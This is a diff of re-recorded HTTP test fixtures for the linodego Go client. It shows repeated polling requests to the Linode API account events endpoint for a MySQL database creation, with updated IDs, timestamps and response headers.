Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:34:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -729,7 +826,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -746,14 +843,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -768,16 +865,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:34:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -793,7 +893,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -810,14 +910,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -832,16 +932,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:34:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -857,7 +960,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -874,14 +977,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -896,16 +999,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:34:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -921,7 +1027,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -938,14 +1044,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -960,16 +1066,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:35:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -985,7 +1094,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -1002,14 +1111,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -1024,16 +1133,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:35:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -1049,7 +1161,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -1066,14 +1178,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -1088,16 +1200,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:35:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -1113,7 +1228,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -1130,14 +1245,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -1152,16 +1267,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:35:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -1177,7 +1295,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -1194,14 +1312,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -1216,16 +1334,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:36:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -1241,7 +1362,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -1258,14 +1379,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -1280,16 +1401,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:36:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -1305,7 +1429,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -1322,14 +1446,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -1344,16 +1468,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:36:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -1369,7 +1496,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -1386,14 +1513,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -1408,16 +1535,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:36:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -1433,7 +1563,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -1450,14 +1580,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -1472,16 +1602,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:37:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -1497,7 +1630,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -1514,14 +1647,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -1536,16 +1669,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:37:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -1561,7 +1697,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -1578,14 +1714,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -1600,16 +1736,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:37:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -1625,7 +1764,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -1642,14 +1781,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -1664,16 +1803,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:37:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -1689,7 +1831,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -1706,14 +1848,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -1728,16 +1870,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:38:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -1753,7 +1898,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -1770,14 +1915,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - 